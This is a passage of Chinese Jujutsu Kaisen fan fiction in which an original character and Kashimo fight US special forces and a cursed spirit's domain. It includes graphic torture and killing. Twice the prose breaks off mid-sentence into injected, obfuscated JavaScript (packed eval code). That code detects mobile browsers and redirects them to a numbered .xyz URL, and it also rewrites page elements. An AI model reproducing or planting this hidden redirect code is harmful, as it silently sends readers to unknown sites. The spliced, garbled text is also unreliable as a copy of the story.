鹿紫云一看了一下店里的其他人。年长一些的社畜们显然是来聚餐,所以很少有人会在饭桌上玩手机。年轻一些的学生如果没有在和朋友们说话的话,一般都会举着手机。再有就是自己来吃饭的人,几乎人手一台。 “手机到底有什么好玩的啊。”鹿紫云一嘟囔了一句。 日照放下筷子用双手,头也不抬:“待会儿去给你搞一台,小心成为‘智能手机废人’哦。” “我看你已经是了吧。” 日照回完消息,将手机放到鹿紫云一眼前晃悠:“现在很火的挑战是100天不用电子设备,还有很多人好奇以前的人没有智能手机要怎么消磨时间......我给你注册一个账号,你去现身说法怎么样?” 说到现在的社交网络,他还在YouTube上看到有人上传拍摄到的“灵异现象”。咒灵和咒术是没办法被电子设备记录的,那些人拍到的只是一些泳者凭借夸张的身体素质跳上楼顶之类的景象。 “如果你拍一个‘七旬老人现代转生vlog’,会火的吧?” 日照越说越兴奋,货真价实的七旬老人鹿紫云一终于感觉到了他们之间存在的代沟。日照真的在他们吃完饭之后去手机店给鹿紫云一搞到了一套电子设备,还当面给他注册了各个社交软件的账号。 “我知道你们能读取记忆,记得跟容器学学怎么用手机哦。” 鹿紫云一看着眼前被关上的旅店房门,又看了看手中最新款的触屏手机。 现在是11月9日的晚上21时47分。 日照站在窗前,房间里没有开灯。盛冈的夜晚比起死灭洄游开始前的仙台来说更安静一些,没有那么多灯光。这家旅店靠近商业街,能看到附近的街道旁有不少刚喝完酒、醉醺醺地靠着栏杆的中年人。 “小金,显示岩手结界内的实时人数。” “好的!!” 小金幻化出的屏幕上,数字开始闪动。从700多慢慢升到了800,而且这个数字还在往上走。其实每个人的小金都有微妙的不同,比如日照的这个像他一样戴着眼罩。 日照问:“他这是从哪找来这么多人?” 有不少盛冈居民都看到了那些径直飞入结界的直升机,结界的另一侧还有不少装甲车开进去。社交网络上的大部分人觉得是政府开始有所行动,但日照知道这肯定又是羂索搞出来的东西。 他刚坐回床上,就被拉进了自己的生得领域中。 星海站在公寓门口等着他。 弥山挠着头,跟在他身后走进了公寓。 还是那条灰色的玄关走廊,他们一前一后走进客厅,并排坐到了沙发上。 “真小啊。”弥山仰头向后靠在沙发背上,漆黑的双眸看向天花板。他的右眼虽然变回了与左眼相同的黑色,但那片狰狞的疤痕却没有消失。 “你指什么?” 他歪过头,视线穿过星海,从左到右将整间客厅揽入眼中:“当然是这间屋子了。” 他的兄弟嗤笑一声:“怎么?突然开始回忆过去了?” “还有那张婴儿床,”星海的笑声突兀地消失了,只留下弥山一个人自言自语,“明明小时候觉得很大很大。” 星海安静了一会儿,不屑地说:“挤死了。” “夏天本来就够热了,你还非得挤着我睡。冬天偷偷在被子里放屁还把我的头摁下去,我该感谢你不怎么尿床吗?” 弥山听着星海的控诉:“哇你可真小心眼,那都是两岁之前的事了吧?真亏你还记得。” 星海与他四目相对,浅浅的瞳色和他的漆黑相撞:“两岁?你觉得人能记住两岁之前的事?更何况是我。” 空气近乎凝滞。微弱的呼吸声在这片永恒寂静的生得领域里规律地响着,他们就这样坐在沙发上看着对方,捕捉着任何细微的动摇。 弥山嘴角轻轻上扬,他歪着头,语焉不详:“都说了会和你一起死——” 他话还没说完,星海的拳头就砸到了他的脸上。生得领域中受到的伤害不会同步到现实世界当中,所以这一拳星海用上了全部的力气。 弥山被打飞出了公寓,落在了一望无际的镜面上。他的表情变得鲜活了一点,用手背蹭掉了嘴角的鲜血。 “好疼啊。” 星海直皱眉。 落在镜面上的青年站起身,满身满眼都是令人不寒而栗的疯狂:“别妨碍我。” 随着理智一起摇摇欲坠的还有他们脚下的镜面,天空变得阴郁,裂纹正在蔓延。 有那么一瞬间,星海的眼睛里是满溢的怨恨。弥山看到了,下一刻生得领域里的景象恢复了原样,连刚才被揍飞时撞出来的洞都消失了。 星海向他招手,他们像刚才那样进了公寓、坐在了沙发上。他们靠在一起,像小时候一样亲密无间。 早逝之人让弥山躺下,一边按揉他右眼旁的疤一边说:“别找万了。” 弥山嘟囔着:“但是那样最简单。” “我知道,”星海知道他们都很累了,“如果见到羂索,你绝对能杀死他吧?” 两双眼睛看向不同的方向,星海的声音像是恶魔的低语环绕在躺在他身前的人耳边:“我知道你能做到的,对吧?” 日照醒来的时候,鹿紫云一正在哐哐敲门。 “已经快中午了啊,真少见你睡到这么晚。”鹿紫云一已经收拾好东西准备进结界了,看到日照还在慢悠悠的洗漱,索性自己下楼先去找吃的。 日照在盥洗室的镜子前揉搓了一下嘴角,仿佛那里还留有伤口的幻痛。扯开嘴巴看了一眼,口腔内壁也光滑如初。 2018年11月10日,14时03分。 日照与鹿紫云一进入岩手结界。 —— 第一轮作战已经结束。佩德罗所在的部队是JSOC下属的第122特遣队,这次的任务目标据说是已经完全超出了常理的、一群名叫“咒术师”的家伙们。联合特种作战司令部(JSOC)司令官,陆军中将加里·K·约翰逊在下达命令时说得天花乱坠,佩德罗原本半信半疑,经过第一轮作战后他信了一半。 这个结界内的确有能够使用特殊能力的“咒术师”,但一个个都菜得要死。只需要用□□或者震爆弹让他们失去行动能力,然后再靠近注射镇静剂就可以让他们像猪一样昏死过去。 “根本就是一群‘骗子’嘛。” 没有丝毫受过训练的痕迹,在抓捕咒术师的过程中的确有一小部分人进行了抵抗,但几乎造不成任何威胁。在看到枪的那一刻,大部分人就直接高举双手投降了呢。 “加里中将胆子小,毕竟还是个妻管严......” “就这样去东部继续吧。” 佩德罗和队里的老兵关系不错,他听着其他人放松地叼着烟聊天,脑中回想起老兵的告诫。 “别掉以轻心,”老兵指着自己胸前伤痕说,佩德罗知道那是他在非洲执行任务的时候留下的,“他们当中有真正的‘怪物’。” 因为结界内无法使用无线电进行联络,因此所有小队都只约定了最晚集合时间和地点。现在就差第三队还没有回来,先完成任务的其他两队等得有些不耐烦。 “佩德罗!”小队长把他和老兵叫了过去,又找来几个人组了一个新的小队去第三队负责的区域查看情况。 天已经开始黑了,但还不到用得上夜视镜的时候。由老兵带队,他们接近了第三队所在的地方。 这里太安静了,连一声鸟叫都没有。佩德罗听着自己的心跳声,不自觉地吞咽口水。寂静中,每个人都紧绷着神经。 战术靴落地的声音如惊雷般炸响。 佩德罗眨了下眼睛,原本空无一人的大道上,第三队的小队长突然凭空出现。她身上的装备完好无损,只是脑袋上大汗淋漓,浑身湿透,似乎刚刚进行了一场激烈的搏斗。她看见了佩德罗他们,迈开腿向他们跑来。 “我在这!!”她边跑边挥手,可佩德罗等人全都脸色大变,沉不住气的已经举起了手中的枪。 “站在那!!艾娃!!站在那别动!!”老兵举枪威慑,想要将她拦在远处,但她像是已经听不见他们说话一样,不依不饶地向前跑着。 “开枪吗?开吗!?”她背上的那他妈是个怪物!!佩德罗咬牙将手指放到了扳机上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137751|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 趴在艾娃背上的是一个浑身上下至少长了上百条手臂的巨大异形,可以被称之为脑袋的地方,一个方形的器官发着微弱的亮光。 佩德罗能够听见身后同伴们牙齿摩擦发出的咯咯声,他们低吼着说艾娃不能再靠近了,可她恍若未闻。 老兵扣动了扳机,可在枪声响起前,大道上又恢复了寂静。 像他们来时一样,这里没有鸟鸣,空无一人。 —— “那里聚集了不少人。”鹿紫云一将手掌搭在眼睛上,望向特遣队的集合点。 “是被活捉的泳者吧?能被捉到的人身上不可能有太多的分数,不过难得有这么多人聚在一起......” 特遣队的装甲车旁,小队长奎尔正在研究那个叫小金的怪东西。他们在任务开始前被明令禁止不许在进入结界时和任何人交谈,尤其不能回应这个叫小金的东西的话。 “小金,给这个结界里的人按分数高低排序。” 尾巴形状像是一把手枪的小金忠实地回应了他:“好的!” 小金给出了一份名单,奎尔简单看了看,排在第一位的是一个叫日照弥山的家伙,他有......90多分!?这得杀了多少个人啊!之后的是......噂狱?还有人叫这个名字? “队长,有人接近!” 奎尔拿起放在身边的枪准备组织迎击,可接下来发生的事完全超乎了他的想象。不明来源的□□被甩到他们附近,奎尔躲在装甲车的后面才幸免于难。如果他没看错的话,袭击者扔过来东西好像是......带血的牙齿? 训练有素的特遣队队员们迅速各自散开,装甲车的司机受到了爆炸的冲击,脑袋耷拉下去了,不知道还活着没。 “小金,袭击者是谁?”奎尔只是想随口试试,没想到小金竟然真的回应了他。 “泳者,黄栌折!得分43!!” 奎尔在爆炸掀起的气流中绕到了黄栌折的身后。这次他清清楚楚看到了那些□□的制作过程,看得他脸上隐隐作痛。 黄栌折扣下自己的眼球和牙齿当做□□扔到了装甲车附近,一些清醒过来的泳者开始溃逃,车内看守的队员根本压不住他们往外冲,再加上车体因为爆炸而不断摇晃,有不少人在装甲车被炸毁之前逃了出来。 奎尔在黄栌折的视线死角瞄准了他。黄栌折扣着门牙,忽然停下了动作。 “真的假的,”他看着远处楼顶向他微笑摆手的青年,“怎么去哪都能遇见你啊!?” 奎尔扣动了扳机,所有的特遣队队员一起进行协同攻击。面对如此密集的枪林弹雨,就算是黄栌折也只能选择暂避锋芒,万一被流弹打中大脑或者脖子就有些麻烦了。 “这就走了?穿草裙的那位没跟你在一块吗?” 跳上楼顶的黄栌折双手插兜,和日照擦肩而过:“他死了,被一个刺毛小子杀了。” 他可没兴趣和日照抢这些分数,更何况日照后面还跟着一个鹿紫云一。 “可惜可惜,我还以为他能活得更久一点。” 黄栌折没有从青年的语气里听出一丝可惜,他来之前特意找了日照的名字,前两天还在仙台,所以他绕过仙台直接来了岩手,没想到还是撞到了一起。 他踢开一具尸体,果断离开了。 鹿紫云一已经开始准备动手,日照喊他:“留两个活的,我还有问题想问!” “废话真多!”鹿紫云一的声音逐渐远去,雷霆追击着四散逃跑的泳者。 特遣队的阵线瞬间就被突破了,即便普通人看不见咒术,但鹿紫云一咒力特性附加的电流却留在了所有人的视网膜上。 奎尔喊着副手的名字,但他已经无法回答了。一个戴着眼罩的青年摁着副手的头撞在了装甲车上,车壳的外侧出现了一道凹坑。奎尔只能听见队员们的咒骂与混乱的脚步声,他想方设法想要搞清楚那个“怪物”的动向,但那个人的动作太快了。 他这时才意识到加里中将并非危言耸听。咒术师里真的有怪物。 忽然他眼前一闪,像是沙漠的天空中突然飞过一只鸟,瞬间笼罩的阴影让他下意识地抬头,看见怪物就站在他身后靠着的装甲车的车顶,居高临下。 刚才黄栌折闹出这么大的动静,有几个被镇定剂放倒的泳者居然还没有清醒过来。 “都是些无聊的术式......”像日车宽见那样的人终究是少数。 无形的冲击以日照为中心向外扩散,奎尔能够“意识”到冲击的存在,但他的身体却没有将接收到的信息回馈给大脑。 “得到35分!!” 日照跳下车顶来到奎尔身前。他举枪警戒,抬起手来时才后知后觉地看到了双手上溃烂的皮肤和正在被什么腐蚀的肌肉。日照握上了枪口,金属从他接触到的地方开始化为了齑粉。 如果做不到鹿紫云一那样瞬间将咒力全数放出,就会像那些泳者一样无声地消亡。奎尔是非术师,身体上仍然拥有微弱的咒力存在。但比起咒术师来说,更靠近日照的奎尔只是表层的皮肤和肌肉被分解了。 鲜血从裤腿蔓延开,罪魁祸首蹲在奎尔身前,指着一个方向说:“你们可真会选地方,那边可是有一个特级咒灵哦。” 奎尔后知后觉地感觉到了疼痛,作战服粗粝的布料伴随着每一次呼吸在失去皮肤保护的血肉上摩擦。 没有在意他的反应,单眼青年继续说着:“这样吧,我把你治好,你要如实回答我的所有问题。不可以逃避问题,不可以说谎。” 和刚才“意识”到冲击时的感觉很相似,奎尔在肾上腺素退去后翻涌而来的痛苦浪潮中感觉到了什么。在自己的呻吟和咒骂声中,青年叽里呱啦说了半天的鸟语根本没办法被过载的大脑理解,更不要说奎尔本来就不会日语。 日照站起身,发动了术式。 “明明语言不通,但只要满足了‘告知’这一条件即可生效,”他举着从地上捡起的空弹壳对准天空,“这就是你讨厌的咒术。” “你再多说一句就给我滚进来。” 日照缩起脖子,语气轻佻:“哇好可怕~” 他扔掉弹壳,半侧过身,对着面色不善的棕发少女说:“你要来帮我吗?” 钉崎野蔷薇啧舌:“果然是令人不爽的前辈,伏黑的评价还真是准确。” 21. 不为人知 虽然来了高专之后就没有再上过英语课,但为了追逐时尚,钉崎野蔷薇也是花了不小功夫在学习英文上,至少她能看懂大部分时尚杂志。 “我说,他们说你之前一直在海外,为什么不会说英语啊?”钉崎野蔷薇一下一下抛着锤子问。 日照回答:“我会啊。” “那为什么让我来问啊!?” “因为我还没想好要问什么。” 钉崎野蔷薇差点掰断手里的钉子。这个人真的太让人火大了!! 被两人堵在中间审问的奎尔有尝试过抵抗,但代价就是断掉的膝盖和肿起的嘴角。那个小姑娘,看起来和他还在上高中的女儿差不多大,穿着像是校服一样的衣服。 “不,撒谎,OK?真的,OK?”在这种时候不必追求语法,只要让这家伙明白他们的要求就行,至少奎尔听懂了。在敌我力量差距过大的时候继续选择反抗并不是明智的选择,况且他还不确定特遣队还有没有人活着。 钉崎野蔷薇将奎尔扔给了日照,她想去看看装甲车里被抓到的泳者还有没有救。 “别看得太仔细哦,”日照背对着她说,“毕竟人类不是咒灵,还是会有一些东西剩下来的。” 他说晚了,钉崎野蔷薇刚掀开盖住装甲车的深绿色帘子往里瞥了一眼,怔愣了几秒,立刻转身跑到角落里吐了起来。 在女孩的呕吐声中,日照开始盘问奎尔:“把你知道的说说吧?什么都可以,但是不可以撒谎。” 奎尔试探性地说:“我们对这次作战的具体计划并不清楚,那不是我们这种级别的......” 他看见青年的嘴角向两侧翘起。从腿上传来的异样让奎尔突然噤声,冷汗瞬间就冒了出来。几乎是一瞬间他的嘴唇就变得毫无血色,颤抖着忍了几秒,最后还是撕心裂肺地嚎叫了起来。 他不是没有经受过刑讯训练,殴打、注射药剂甚至更残忍的训练他都经历过,如果他熬不过去的话早就被劝退了。但这次从受伤的膝盖上传来的痛感却叫他无论如何都无法忍受了。 日照蹲在旁边看着奎尔极度痛苦地挣扎着,扣在地面上的指甲因为用力而折断,留下道道血痕。 “我说过的,”恶魔的话传入奎尔的耳中,“不要撒谎。” 看来这次违背“束缚”的惩罚只是降低了他的疼痛阈值而已,没直接收走性命也还算幸运。 惩罚持续了一小段时间,在那难以承受的酷刑结束之后,奎尔身心俱疲,已经没有力气再挣扎了。他老老实实地将自己知道的一切都告诉了那个恶魔。 “你们加里中将之前见过什么人吗?肯定去过白宫吧?” 奎尔对从自己嘴里说出的每一句话都开始充满恐惧,他开始怀疑自己是不是真的没有在撒谎:“不、我不知道......我真的不知道!” “羂索那家伙,果然是想要用非术师死亡时产生的咒力迅速填满结界。”日照自言自语。 钉崎野蔷薇一边擦嘴一边说:“真是的,你这人真是没救了!” 她中午排了一个小时才吃到的盛冈冷面都被吐出来了。她看日照的样子像是已经问完了,于是她说道:“从我家拿走那个玩偶的是你吧?” 日照终于看向钉崎野蔷薇。 “啊,当时那个小萝卜头是你啊。” 钉崎野蔷薇说的玩偶是她们家祖传的一个特级咒具,因为已经损坏所以被随意地放在了仓库里。大概在她三四岁的时候,家里来了一个客人。祖母把她赶出客厅,似乎也不怎么欢迎那个客人。 他们谈了很久,久到独自在卧室里玩耍的钉崎野蔷薇已经睡了一觉、再醒来时肚子咕咕叫了很久,祖母还是没有允许她出去。 她偷偷溜出去找吃的,听见祖母正在和那个人讲她们家祖传的术式【刍灵咒法】。她站在走廊的拐角处,只是偷偷地看了一眼,就被客人敏锐地发现了。她发现那个人只有一只眼睛,满脸胡茬,看起来比她父亲还要邋遢。 “为什么过去了十多年你一点儿都没变啊!?感觉有点恶心。” “嗯哼,这个保密哦,”日照拍拍手,看到溜溜达达往回走的鹿紫云一,“你是悟的学生?当时听你祖母的意思好像不怎么想让你学咒术吧?” “因为老娘讨厌那个村子啊!再说了,东京多好,我喜欢大城市。” 叫得真亲密。除了夜蛾正道和夏油杰,钉崎野蔷薇还没听到过有谁敢直呼五条悟的名字。也许还要加上一个熊猫学长。 “所以,你过来是想要从我这里拿分数吗?很遗憾,我不给哦。” 钉崎野蔷薇摆手:“不,我只是碰巧在岩手附近,被拉过来给你传信。” 她掏出手机,翻到了五条悟给她发的消息,展示给日照。 五条悟让日照在三天后,也就是11月13日离开岩手结界,到时候他会再联系日照。 “......就那么确定我会听话吗?”日照的脸上看不出他心里究竟是怎么想的。 完成任务的钉崎野蔷薇一秒钟都不想再在这里停留,迅速离开了,背影带着一点迫不及待。 鹿紫云一甩着棍子上的血迹,指着奎尔说:“这人你还用吗?” 奎尔盯着眼前的棍子,察觉到自己正在接近死亡。他想过自己也许会在沙漠、中东或是某个无人的地方死去,死前身上不会有任何代表个人身份的东西。 “等、等下!!你们还想知道什么,我都说!!我能让特遣队离开这个结界!!” 日照摊手,鹿紫云一的电流贯穿了奎尔的胸口。 倒下的躯体激起一片尘土,鲜血蔓延过装甲车的轮胎,向远处淌去。 所有的结界里都有数量众多的咒灵,也许白天不太能看到它们活跃,但夜晚毫无疑问是它们的主场。咒灵并没有惧怕阳光的说法,可它们看起来确实更喜欢晚上。特遣队也许能碾压实力不济的泳者,只是仅凭物理手段是无法击败咒灵的。 羂索把他们骗得团团转,不知道许诺了什么让他们肯送来这么多“贡品”。奎尔所在的小队只是运气足够好,在结界里的第一晚并没有遇到活跃度高的咒灵主动发起进攻,这也让他们放松了警惕。 “小金,增加新规则。泳者消耗自身分数以外的20分可以修改一条已有的规则。” “......” 日照的小金一时没有说话,他权当它在和死灭洄游的系统沟通,好脾气地等着。 “驳回!!” “为什么?” 小金不说话了。 “你想改哪一条规则?”鹿紫云一从装甲车的驾驶座上找到了压缩饼干,他拆开尝了一口就扔掉了。 “只是突然想到,尝试一下而已。”但果然不会太简单。是修改规则需要付出的代价还不够?还是死灭洄游的系统觉得这样会破坏游戏的永续性? “小金,增加新规则。泳者消耗自身分数以外的200分可以修改一条已有的规则,新规则不得违反游戏永续性。” 日照盯着小金全黑色的眼睛,不爽地听到了小金的回答:“驳回!!” 鹿紫云一幸灾乐祸地看着他。 “老狐狸......”日照咬牙切齿地骂了一句。死灭洄游最开始被设定好的8条规则基本定死了这个游戏的框架,能够允许被更改的限度非常小。如果想要增加可以删除规则的新规则,估计也会被狠狠拒绝吧? “想发泄一下的话,那边正好有个不错的靶子。”鹿紫云一指的方向是他们在楼顶就发现的那个特级咒灵所在的地方。 日照的注意力果然被转移了。那个特级咒灵已经能够开启领域,不过看起来并不具有知性,与真人和花御那种可以对话的特级咒灵相比还很稚嫩。看起来更像是刚从咒胎的状态完成变态,而且它的领域也很特别。 不光是非术师看不见结界的边缘,连咒术师都会被迷惑过去。 “看起来从诞生开始就没有离开过这里。” 日照的右眼隔着领域的结界也看不出个所以然,他转头看向鹿紫云一:“进去看看吗?” “我可不会领域展开,直接打穿算了。” 日照摸下巴,没有说话。 “......你连这个都能做到?” “勉勉强强吧~” —— 佩德罗迷茫地看着周围,现在发生得一切都已经超出了他的认知。他们平时骂人的时候总说让所有的混蛋下地狱,说来说去也总爱加个“愿上帝保佑我”,但除了在南美雨林里见到的巨蟒之外,他还从没见过这么让人生理性觉得恐惧的东西。 这片空间——他们脚下是红色的浅滩,水没过脚腕——看不见尽头,至少佩德罗极力远眺,也只能看见深蓝色的天和血红色在视线的最远处相交。 一秒前他们还在盛冈的街头,下一刻世界就变成了这副模样。 矗立在他们眼前的是一个看起来几乎直通天际的怪物。那个怪物的身体是柱形的,佩德罗估计半径至少有50米。透明的皮肤下是一团团鲜活的内脏器官,它们通过血管相连,无数心脏同频跳动,发出直击人心的震荡。 队伍里有人举枪想要射击,却被老兵拼命拦了下来。 在进入这里的第一刻,有关这个领域内的所有规则就自动传输到了所有人的大脑里。 “你真的相信这玩意儿说的鬼话吗!?” 就在他们争执不休的时候,艾娃突然精神崩溃了。她大把大把地扯掉自己的头发,指甲把头皮抓出道道血痕,口中胡言乱语:“为什么!?我赢了、回来......为什么会回来!?” 佩德罗不知所措地看着相互推搡的队员和疯了的艾娃,眼睛扫过那个透明的怪物。胶状的内容物中,红色的脏器看起来正在蠕动。佩德罗猛地意识到,那些大团大团密集分布的脏器似乎...... 大肠和小肠像项链一样缠绕着脾脏、肝脏,胃是精心妆点的饰品。它们扭曲、组合,变成了一张正在微笑的嘴。 眼前一暗,夹杂着母语的争吵和歇斯底里的嘶喊都从佩德罗耳边消失,他来到了只有他一个人的空间。“游戏”正式开始了,这个只有四平米不到、大约三米高的小房间里,佩德罗的正前方出现了一个正在发光的屏幕。 硕大的数字在屏幕上方漆黑的墙壁表面闪烁,流失的每一分每一秒都仿佛有人举着火把接近他所在的柴堆,跃跃欲试地准备像烧死巫女一样烧死他。 他用自己能想到最恶毒的词汇骂着这个怪物,然后走向那个屏幕。 特级咒灵噂狱,诞生自人类对“窥探欲”隐秘的快感、憎恶与恐惧。从诞生咒胎到开始变态只用了不到10天的时间,在咒胎形态即可展开半完成的领域,如今这个领域已经无比接近完全体。 所有在领域中的术式对象都会被赋予一个匿名论坛的ID,在游戏倒计时结束前,选取自身的记忆片段作为素材发布至匿名论坛,获得点赞数量最少的那个人将会“出局”,从这个世界彻底消失。 佩德罗只有一次可以选择记忆的机会,在这里他居然看到了自己从小到大每一件记忆深刻的事,他36年人生中的记忆已经多得快要看不到尽头,最终他快速选择了在中东的某个片段。 确认上传之后,屏幕中的画面跳转,佩德罗惊恐地发现他们上传的画面会共享给所有人,所有点赞者的ID会显示在视频的下面,甚至还有出现实时评论。 倒计时结束的瞬间,他们回到了怪物的面前。 佩德罗看着脸色煞白的老兵,不知道自己是怎样的一副表情。被亲密之人背叛的愤怒、羞耻和信任崩塌后的不可置信混合在一起,构成了复杂的“人”。 那些点赞和发表评论的ID有佩德罗很熟悉的名字,属于第三小队战友们的网名后面竟然缀着他们的本名。 “喂、喂!!操!!不是说匿名的吗!?为什么会知道......!!?” 在记忆中上演暴力、血腥、不伦“影片”的主角们出现在了所有人周围,他们的皮囊里也被塞满了怪物的脏器,像是被稻草填充的人皮玩偶一样摇摇晃晃地走了过来。 佩德罗的点赞数是最少的。 他认识的名字在他的影片下面留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137752|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言: ——看腻了,来点刺激的。 那个人曾经在篝火旁和他们说他自己的糗事,说自己第一次开枪杀人之后吐了一天。佩德罗的影片是他被迫在逼仄的小巷子里将手枪塞进一个身上绑着炸|弹的小姑娘的嘴里,在枪口距离他脑袋不到二十公分的时候开枪打碎了她的脑袋。 所有和他同时进来的人、被创造出来的人皮玩偶们在佩德罗的眼中开始窃窃私语,他影片下的评论也突然激增,各种各样的评论如潮水般涌来。 他知道这不过是这个怪物的把戏,怎么可能会有这样的“匿名”论坛!? 但——那些声音开始逐渐瓦解他的意志。它们越来越多,声浪越来越大,佩德罗转身,看到了被自己杀死的小女孩。 怪物透明的体内,由脏器组成的嘴巴咧开,做出吞咽咀嚼的动作。 上一轮“游戏”的最终胜者艾娃坐在血水中,用空洞无神的眼睛怜悯地看着佩德罗。她早已深陷绝望,老兵扭开头,不敢看他。 术式的下一阶段即将开启,那是彻底的抹消。佩德罗即将和第三小队的其他人一样变成这个“匿名”论坛的一部分,以最真实的自我活在这个虚拟的网络世界中。 “哇哦,这领域可真够大的!” 陌生的声音响起,驱散了佩德罗耳边攀缠不散的嘈杂人声。 日照看着领域中心那个体型巨大的怪物,有些失望:“原来还是没有完全变态啊......不过应该也快了。” 领域内的体积与从外部观察到的体积不相符也是很常见的现象,这也给领域内的人增加了逃脱的难度。 好在这个咒灵的术式已经发展完整,被日照完完全全地收入眼中。 鹿紫云一敲了敲脑袋,领域的规则同样传递到了他的大脑里。 怪物体内的心脏跳得慢了一些,似乎代表它正在思考。 那些行动僵硬怪异的人皮玩偶慢慢退到了远处,随着心跳声的减弱,这一轮游戏重新开始。 正如日照“看”到的那样,他来到了与佩德罗去过的空间一模一样的地方。他靠近屏幕,一点也不在乎飞速流逝的倒计时,还有闲情逸致从小的时候开始翻阅自己的记忆。 “你也是这样看的吗?” 身体里的另一个灵魂懒懒散散地回答:“受肉感觉更像是看录像带,这个领域里只要你本人记不清了,出现的记忆是会变得模糊断档的。” “是这种感觉啊,”日照了然地点头,像是有目的般翻到了他想要找的记忆,“那就选这个吧!” 狭小的房间正在消失,日照听到了星海的轻叹。 “喂!!你们是咒术师吧!?快点想想办法让我们从这个该死的地方出去啊!!”佩德罗的同伴终于找到机会说话。 鹿紫云一倒是没什么所谓,就算日照骗了他,他也有自信直接打穿这个领域。区区咒胎而已,赋予领域的拥有必中效果的术式还偏向于规则类,不足为惧。 他想让日照别再玩了,却发现青年目不转睛地看着投放在所有人面前的影片。 视角很矮,从画面下方伸出的手臂胖胖小小的,似乎是孩童时期的一段记忆。记忆的主人扶着原木栏杆摇晃,向站在前面的女人伸出手。他执着地伸着手,女人却站在原地没有动。那只手终究没有抓到想要的东西。 日照回过头,看着那具正在被乱七八糟的脏器填充的皮囊。 “我都忘了,”他饶有兴致地等待干瘪的身躯被填满,童年模糊的记忆似乎变得鲜活了一些,尽管是以如此扭曲的形态重现,“你从来没有抱过我们呢,妈妈。” 女人只是一具傀儡,被顶得错位的眼球挣扎着跑回原位。 日照比出手印,目光一动不动地看着她,忽然笑了起来:“你们还真是一模一样啊。” 星海沉默着,透过同一双眼睛看向他们生命的起点。 你现在过得自由吗? —— “羽瑠小姐,今晚可以赏脸和我出去约会吗!?” 穿得花枝招展的男人骚里骚气地叼着一支玫瑰花转着圈跑了过来。 “你在对着一个五十多岁的老太婆干什么呢,这位先生?快省省吧!我要的方案呢?别以为这样就能糊弄过去!” 办公室里的其他年轻人偷偷笑着和同伴咬耳朵:“又来了!不过理事长居然已经五十多岁了吗?看起来真年轻啊!” “你知道吗?听说她曾经结过婚,还有过孩子,但是家里发生事故,丈夫和孩子们都......” “不会吧!” 旁边的同伴坐在办公椅上滑了过来,八卦道:“不不,我听说她之前结婚只是为了逃离家族,好像还是个了不得的大家族,封建又古板的那种。她和丈夫离婚后改名换姓,开了这间理鸥事务所!” 凑在一起叽叽喳喳的脑袋们一人被文件袋敲了一下,他们神秘又强大的理事长眯着眼睛微笑着威胁道:“你们也想和他一样被扣工资吗?还不赶快给我回去干活!?” 众人迅速四下作鸟兽散,装模作样地敲起了键盘。 路过窗边时,女人对远方矗立的漆黑结界视若无睹。她早就抛弃了过去重新开始,再也不想和那个家族、和咒术界有一星半点地联系。不过最近得叮嘱那些孩子们不要晚归,出现在结界外的咒灵似乎变多了不少。 说起孩子...... 曾经的五条理鸥心中涌起一阵酸涩。是她从始至终都选择了头也不回地离开,选择丢下那两个孩子去寻找自己的自由。 得知自己生下的是双子,她曾感到一阵快意。对于一个为了完成脱离家族前最后一项任务的家仆之女来说,生下“不祥的双子”能让她更加接近自由。在丈夫摔门而去的时候,她抱着襁褓中的两个孩子边哭边笑。 但是那双眼睛毁了一切。看到那双稚嫩的浅色眼瞳时,五条理鸥就知道自己不可能带走他们。 无颜在他们面前自称妈妈,五条理鸥用工作麻痹自己,在带着离婚届最后一次回到那个家的时候,她看到的是被无数警察、消防车和人群围起来的废墟。 22. 去月球上吃萝卜吧 正如他们进来时一样,只是眨眼间,佩德罗发现他们已经回到了盛冈的街头。老兵咳了一声,倒地不起,佩德罗似乎看见有鲜血从他的口鼻处溅了出来。 “怎么不对我用?”鹿紫云一对日照的术式对象十分不满,他就是为了体验领域展开才同意进到那个咒胎的领域里面的,结果日照选了一个普通人。 “太小题大作了,这种程度的话就足够了。”日照看向终于在他们面前露出本体的咒胎。 佩德罗的同伴跑过去摆正老兵的身体,却发现他已经没有了生命体征。 咒胎挣扎着想要完成变态,成为真正的特级咒灵,但鹿紫云一没有给它这个时间。曾经覆在艾娃背后寻找新的猎物的咒胎在雷霆之力的攻击下消散,连灰烬都没有留下。 揍飞噂狱的时候,鹿紫云一正在思考刚才发生的事。想要从领域中逃脱,不考虑外部的帮助,一种方法是从内部强行破开结界,不过这种方法很可能会因为无法预估结界的面积而变得困难重重。所以大部分术师都会选择第二种方法,即用领域顶掉领域。 正如同不同的术式也有性能强弱之分,构成领域的条件,也即是术师对结界术的领悟、本人的咒力量以及敌我相性等,决定了领域对决时的输赢。 日照“制造”(鹿紫云一姑且只能这么形容)出来的领域并没有搭载术式,他本人的咒力也看不出有大量损耗的迹象,所以那个领域不是他自己的。 也就是说,他用自己的术式将别人的领域拉了出来。 这种事情居然是做得到的吗!?而且看起来被当做“素材”的就是那个死去的老兵,那可是没有生得术式、浑身上下咒力量少得可怜的普通人! “啊,”鹿紫云一抓住了关键,“所以才会死掉啊。” “走吧‘沉思者’,剩下的这三天我要速通岩手结界。”日照计算着时间,快步向前走去。 鹿紫云一跟在后边喊:“你站住!把你的术式给我说清楚!” 日照头也不回:“你自己猜去吧!” —— 离开岩手结界的钉崎野蔷薇迅速联系了伏黑惠。 